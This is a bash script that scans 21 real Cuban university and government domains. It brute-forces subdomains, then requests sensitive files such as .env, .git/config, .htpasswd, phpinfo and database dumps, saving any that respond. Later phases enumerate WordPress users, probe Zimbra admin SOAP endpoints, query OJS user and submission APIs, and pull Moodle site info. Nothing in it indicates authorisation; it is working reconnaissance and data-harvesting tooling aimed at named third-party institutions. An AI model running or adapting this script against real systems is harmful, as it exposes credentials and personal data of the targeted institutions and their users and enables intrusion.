#!/bin/bash
# Deep probe of Cuban university domains from CT105
# Checks: .env, .git, admin panels, phpMyAdmin, APIs, directory listings, Zimbra, OJS, WordPress

OUTDIR="/tmp/uni-probe"
mkdir -p "$OUTDIR"

# All known .edu.cu base domains (from crt.sh scan)
DOMAINS=(
  "uclv.edu.cu"
  "uo.edu.cu"
  "upr.edu.cu"
  "ismm.edu.cu"
  "unah.edu.cu"
  "uho.edu.cu"
  "ult.edu.cu"
  "uci.cu"
  "cujae.edu.cu"
  "uh.cu"
  "umcc.cu"
  "ucf.edu.cu"
  "unica.cu"
  "uniss.edu.cu"
  "udg.co.cu"
  "mes.gob.cu"
  "reduc.edu.cu"
  "ucm.edu.cu"
  "grfrm.sld.cu"
  "cug.co.cu"
  "infomed.sld.cu"
)

# Common subdomains to check
SUBS=(
  ""
  "www"
  "correo"
  "mail"
  "webmail"
  "gitlab"
  "git"
  "nexus"
  "repos"
  "phpmyadmin"
  "pma"
  "adminer"
  "api"
  "moodle"
  "campus"
  "virtual"
  "revista"
  "revistas"
  "eventos"
  "biblioteca"
  "dspace"
  "ojs"
  "portal"
  "intranet"
  "panel"
  "admin"
  "cpanel"
  "db"
  "mysql"
  "postgres"
  "jenkins"
  "ci"
  "sonar"
  "redmine"
  "jira"
  "wiki"
  "confluence"
  "grafana"
  "kibana"
  "elastic"
  "monitor"
  "nagios"
  "zabbix"
  "cloud"
  "owncloud"
  "nextcloud"
  "ftp"
  "sftp"
  "vpn"
  "ldap"
  "sso"
  "cas"
  "proxy"
  "dmoj"
  "judge"
  "cti"
  "sigenu"
  "pregrado"
  "postgrado"
  "investigacion"
  "rrhh"
  "nomina"
  "contabilidad"
  "patrimonio"
)

# Sensitive paths to check on each responding host
PATHS=(
  "/.env"
  "/.git/HEAD"
  "/.git/config"
  "/wp-login.php"
  "/wp-json/wp/v2/users"
  "/administrator/"
  "/admin/"
  "/phpmyadmin/"
  "/pma/"
  "/adminer.php"
  "/server-status"
  "/server-info"
  "/phpinfo.php"
  "/info.php"
  "/test.php"
  "/robots.txt"
  "/sitemap.xml"
  "/api/"
  "/api/v1/"
  "/api/v2/"
  "/api/v2/users"
  "/graphql"
  "/.well-known/openid-configuration"
  "/swagger.json"
  "/api-docs"
  "/service/rest/v1/repositories"
  "/zimbraAdmin/"
  "/zimbra/"
  "/mail/"
  "/static/admin/"
  "/media/"
  "/.htaccess"
  "/.htpasswd"
  "/backup/"
  "/backups/"
  "/dump/"
  "/dumps/"
  "/sql/"
  "/db/"
  "/database/"
  "/config.php"
  "/configuration.php"
  "/settings.php"
  "/web.config"
  "/crossdomain.xml"
  "/elmah.axd"
  "/.DS_Store"
  "/.svn/entries"
  "/login"
  "/register"
  "/signup"
)

echo "=== CUBAN UNIVERSITY DEEP PROBE ==="
echo "Date: $(date -u)"
echo "Domains: ${#DOMAINS[@]}"
echo "Subdomains per domain: ${#SUBS[@]}"
echo ""

# Phase 1: Find all responding hosts
echo "=== PHASE 1: HOST DISCOVERY ==="
LIVE_HOSTS=()

for domain in "${DOMAINS[@]}"; do
  for sub in "${SUBS[@]}"; do
    if [ -z "$sub" ]; then
      host="$domain"
    else
      host="${sub}.${domain}"
    fi

    # Quick HTTP check with 5s timeout
    code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "https://$host/" 2>/dev/null)
    if [ "$code" = "000" ]; then
      code=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "http://$host/" 2>/dev/null)
    fi

    if [ "$code" != "000" ]; then
      echo "[LIVE] $host (HTTP $code)"
      LIVE_HOSTS+=("$host")
    fi
  done
done

echo ""
echo "=== LIVE HOSTS: ${#LIVE_HOSTS[@]} ==="
printf '%s\n' "${LIVE_HOSTS[@]}" > "$OUTDIR/live-hosts.txt"
echo ""

# Phase 2: Deep probe each live host
echo "=== PHASE 2: SENSITIVE PATH SCAN ==="

for host in "${LIVE_HOSTS[@]}"; do
  echo "--- Probing: $host ---"

  for path in "${PATHS[@]}"; do
    # Try HTTPS first, then HTTP
    for proto in "https" "http"; do
      url="${proto}://${host}${path}"
      response=$(curl -sk -o /tmp/probe_body -w "%{http_code}|%{size_download}|%{content_type}" --connect-timeout 5 --max-time 10 "$url" 2>/dev/null)
      code=$(echo "$response" | cut -d'|' -f1)
      size=$(echo "$response" | cut -d'|' -f2)
      ctype=$(echo "$response" | cut -d'|' -f3)

      if [ "$code" = "200" ] && [ "$size" -gt 0 ] 2>/dev/null; then
        echo "[HIT] $url (${code}, ${size}B, ${ctype})"

        # Save interesting responses
        safename=$(echo "${host}${path}" | tr '/:.' '_' | tr -d ' ')

        # Save if it looks like credentials or sensitive data
        case "$path" in
          *\.env*|*\.git*|*phpinfo*|*info\.php*|*test\.php*|*\.htaccess*|*\.htpasswd*|*config*|*\.DS_Store*|*\.svn*|*server-status*|*server-info*|*swagger*|*api-docs*|*openid*)
            cp /tmp/probe_body "$OUTDIR/${safename}.txt"
            echo "  -> SAVED to $OUTDIR/${safename}.txt"
            ;;
          *users*|*graphql*|*repositories*)
            cp /tmp/probe_body "$OUTDIR/${safename}.txt"
            echo "  -> SAVED to $OUTDIR/${safename}.txt"
            ;;
          *admin*|*phpmyadmin*|*pma*|*adminer*|*zimbraAdmin*)
            # Just save headers for admin panels
            head -c 2000 /tmp/probe_body > "$OUTDIR/${safename}_head.txt"
            echo "  -> SAVED header to $OUTDIR/${safename}_head.txt"
            ;;
        esac

        break  # Don't check HTTP if HTTPS worked
      elif [ "$code" = "301" ] || [ "$code" = "302" ] || [ "$code" = "303" ]; then
        redir=$(curl -sk -o /dev/null -w "%{redirect_url}" --connect-timeout 5 --max-time 8 "$url" 2>/dev/null)
        echo "[REDIR] $url -> $redir"
        break
      elif [ "$code" = "403" ]; then
        echo "[FORBIDDEN] $url (exists but blocked)"
        break
      fi
    done
  done
  echo ""
done

# Phase 3: Check for Zimbra SOAP on any mail/correo hosts
echo "=== PHASE 3: ZIMBRA SOAP CHECK ==="
for host in "${LIVE_HOSTS[@]}"; do
  case "$host" in
    correo.*|mail.*|webmail.*)
      echo "--- Checking Zimbra SOAP: $host ---"
      soap_resp=$(curl -sk --connect-timeout 5 --max-time 10 \
        -H "Content-Type: application/soap+xml" \
        -d '<?xml version="1.0" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetVersionInfoRequest xmlns="urn:zimbraAdmin"/></soap:Body></soap:Envelope>' \
        "https://$host:7071/service/admin/soap" 2>/dev/null)
      if echo "$soap_resp" | grep -qi "zimbra\|version\|majorversion"; then
        echo "[ZIMBRA] $host - SOAP endpoint responding!"
        echo "$soap_resp" > "$OUTDIR/zimbra-soap-${host}.txt"
      fi

      # Also check regular SOAP
      soap_resp2=$(curl -sk --connect-timeout 5 --max-time 10 \
        -H "Content-Type: application/soap+xml" \
        -d '<?xml version="1.0" ?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetInfoRequest xmlns="urn:zimbraAccount"/></soap:Body></soap:Envelope>' \
        "https://$host/service/soap" 2>/dev/null)
      if echo "$soap_resp2" | grep -qi "zimbra\|fault\|auth"; then
        echo "[ZIMBRA] $host - User SOAP endpoint responding!"
        echo "$soap_resp2" > "$OUTDIR/zimbra-user-soap-${host}.txt"
      fi
      ;;
  esac
done

# Phase 4: OJS API checks on revista/revistas hosts
echo ""
echo "=== PHASE 4: OJS/JOURNAL API CHECK ==="
for host in "${LIVE_HOSTS[@]}"; do
  case "$host" in
    revista*|ojs.*)
      echo "--- Checking OJS API: $host ---"
      for endpoint in "/api/v1/users" "/api/v1/submissions" "/api/v1/contexts" "/api/v1/announcements" "/index.php/api/v1/users"; do
        resp=$(curl -sk -o /tmp/ojs_body -w "%{http_code}|%{size_download}" --connect-timeout 5 --max-time 10 "https://$host$endpoint" 2>/dev/null)
        code=$(echo "$resp" | cut -d'|' -f1)
        size=$(echo "$resp" | cut -d'|' -f2)
        if [ "$code" = "200" ] && [ "$size" -gt 10 ] 2>/dev/null; then
          safename=$(echo "${host}${endpoint}" | tr '/:.' '_')
          cp /tmp/ojs_body "$OUTDIR/ojs-${safename}.txt"
          echo "[OJS-HIT] $host$endpoint (${size}B) -> SAVED"
        fi
      done
      ;;
  esac
done

# Phase 5: WordPress user enumeration
echo ""
echo "=== PHASE 5: WORDPRESS USER ENUM ==="
for host in "${LIVE_HOSTS[@]}"; do
  # Check if it's WordPress
  wp_check=$(curl -sk --connect-timeout 5 --max-time 8 "https://$host/wp-login.php" 2>/dev/null | head -c 500)
  if echo "$wp_check" | grep -qi "wordpress\|wp-login"; then
    echo "[WP] $host is WordPress"
    # Try user enum via REST API
    wp_users=$(curl -sk --connect-timeout 5 --max-time 10 "https://$host/wp-json/wp/v2/users" 2>/dev/null)
    if echo "$wp_users" | grep -q '"id"'; then
      echo "$wp_users" > "$OUTDIR/wp-users-${host}.json"
      echo "  [WP-USERS] Saved user data!"
    fi
    # Try ?author=1 enum
    for i in 1 2 3 4 5; do
      author_resp=$(curl -sk -o /dev/null -w "%{redirect_url}" --connect-timeout 5 --max-time 8 "https://$host/?author=$i" 2>/dev/null)
      if [ -n "$author_resp" ]; then
        echo "  [WP-AUTHOR] author=$i -> $author_resp"
      fi
    done
  fi
done

# Phase 6: Moodle checks
echo ""
echo "=== PHASE 6: MOODLE/LMS CHECK ==="
for host in "${LIVE_HOSTS[@]}"; do
  case "$host" in
    moodle.*|campus.*|virtual.*|ev.*)
      echo "--- Checking Moodle: $host ---"
      for endpoint in "/lib/ajax/service.php" "/webservice/rest/server.php" "/login/index.php" "/admin/" "/theme/image.php"; do
        resp=$(curl -sk -o /dev/null -w "%{http_code}" --connect-timeout 5 --max-time 8 "https://$host$endpoint" 2>/dev/null)
        if [ "$resp" != "000" ]; then
          echo "  [MOODLE] $host$endpoint -> HTTP $resp"
        fi
      done
      # Try Moodle webservice token check
      ws_resp=$(curl -sk --connect-timeout 5 --max-time 10 "https://$host/webservice/rest/server.php?wsfunction=core_webservice_get_site_info&moodlewsrestformat=json" 2>/dev/null)
      if echo "$ws_resp" | grep -q '"sitename"\|"siteurl"'; then
        echo "$ws_resp" > "$OUTDIR/moodle-siteinfo-${host}.json"
        echo "  [MOODLE-INFO] Site info leaked! Saved."
      fi
      ;;
  esac
done

echo ""
echo "=== SCAN COMPLETE ==="
echo "Results saved to: $OUTDIR/"
ls -la "$OUTDIR/"
echo ""
echo "=== SUMMARY OF SAVED FILES ==="
wc -c "$OUTDIR/"* 2>/dev/null
